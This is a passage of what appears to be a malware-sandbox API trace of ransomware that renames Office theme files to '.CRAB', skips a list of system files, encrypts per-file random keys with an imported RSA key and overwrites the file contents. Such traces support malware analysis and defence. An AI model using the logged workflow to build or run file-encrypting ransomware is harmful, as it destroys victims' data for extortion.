	[0113.854] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4360) returned 1
	[0113.854] CryptGetKeyParam (in: hKey=0xda4360, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.854] CryptEncrypt (in: hKey=0xda4360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.854] GetLastError () returned 0x0
	[0113.854] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.854] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0113.855] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4220) returned 1
	[0113.855] CryptGetKeyParam (in: hKey=0xda4220, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.855] CryptEncrypt (in: hKey=0xda4220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.855] GetLastError () returned 0x0
	[0113.855] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.855] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457485[[fn=mesh]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.856] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.856] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.856] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0113.921] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.941] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0113.966] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.969] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.970] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0113.972] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.977] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0113.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.002] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0114.023] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.027] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.027] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0114.029] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.033] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xef7a4, lpOverlapped=0x0) returned 1
	[0114.040] VirtualAlloc (lpAddress=0x0, dwSize=0xef7b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.055] VirtualAlloc (lpAddress=0x0, dwSize=0xef7b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3450000
	[0114.074] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.078] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff1085c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.078] WriteFile (in: hFile=0x3fc, lpBuffer=0x3450000*, nNumberOfBytesToWrite=0xef7b0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3450000*, lpNumberOfBytesWritten=0x3147f1c*=0xef7b0, lpOverlapped=0x0) returned 1
	[0114.080] VirtualFree (lpAddress=0x3450000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.084] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.091] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.091] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.091] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.091] CloseHandle (hObject=0x3fc) returned 1
	[0114.157] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.157] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.157] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.158] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.158] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.158] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.158] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.158] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2=".") returned 1
	[0114.158] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="..") returned 1
	[0114.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx"
	[0114.158] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.159] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136
	[0114.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136
	[0114.159] lstrlenW (lpString=".thmx") returned 5
	[0114.159] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.159] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.159] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136
	[0114.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="desktop.ini") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="autorun.inf") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="ntuser.dat") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="iconcache.db") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="bootsect.bak") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="boot.ini") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="thumbs.db") returned 1
	[0114.160] lstrcmpiW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.160] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.160] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB") returned 141
	[0114.160] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457491[[fn=metropolitan]].thmx")) returned 0x20
	[0114.161] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx", dwFileAttributes=0x20) returned 1
	[0114.161] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457491[[fn=metropolitan]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457491[[fn=metropolitan]].thmx.crab")) returned 1
	[0114.162] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.163] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB"
	[0114.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB.CRAB"
	[0114.163] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0114.163] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.164] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.164] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.164] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.164] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.164] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0114.165] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.165] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.165] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.165] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.165] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0114.165] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.166] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.166] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.166] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0114.167] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda43a0) returned 1
	[0114.167] CryptGetKeyParam (in: hKey=0xda43a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.167] CryptEncrypt (in: hKey=0xda43a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.170] GetLastError () returned 0x0
	[0114.170] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.170] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0114.171] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda43e0) returned 1
	[0114.171] CryptGetKeyParam (in: hKey=0xda43e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.171] CryptEncrypt (in: hKey=0xda43e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.171] GetLastError () returned 0x0
	[0114.171] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.171] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457491[[fn=metropolitan]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.172] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.172] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.173] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xbddaf, lpOverlapped=0x0) returned 1
	[0114.223] VirtualAlloc (lpAddress=0x0, dwSize=0xbddb0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.235] VirtualAlloc (lpAddress=0x0, dwSize=0xbddb0, flAllocationType=0x3000, flProtect=0x4) returned 0x3420000
	[0114.253] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.257] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff42251, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.257] WriteFile (in: hFile=0x3fc, lpBuffer=0x3420000*, nNumberOfBytesToWrite=0xbddb0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3420000*, lpNumberOfBytesWritten=0x3147f1c*=0xbddb0, lpOverlapped=0x0) returned 1
	[0114.259] VirtualFree (lpAddress=0x3420000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.262] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.266] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.266] CloseHandle (hObject=0x3fc) returned 1
	[0114.278] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.278] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.278] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.279] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.279] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.279] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.279] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2=".") returned 1
	[0114.279] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="..") returned 1
	[0114.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx"
	[0114.279] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.280] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132
	[0114.280] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132
	[0114.280] lstrlenW (lpString=".thmx") returned 5
	[0114.280] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.280] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.280] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.280] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132
	[0114.280] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132
	[0114.280] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="desktop.ini") returned 1
	[0114.280] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="autorun.inf") returned 1
	[0114.280] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="ntuser.dat") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="iconcache.db") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="bootsect.bak") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="boot.ini") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="thumbs.db") returned 1
	[0114.281] lstrcmpiW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.281] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.281] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB") returned 137
	[0114.281] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457496[[fn=parallax]].thmx")) returned 0x20
	[0114.281] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx", dwFileAttributes=0x20) returned 1
	[0114.282] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457496[[fn=parallax]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457496[[fn=parallax]].thmx.crab")) returned 1
	[0114.283] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.283] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB"
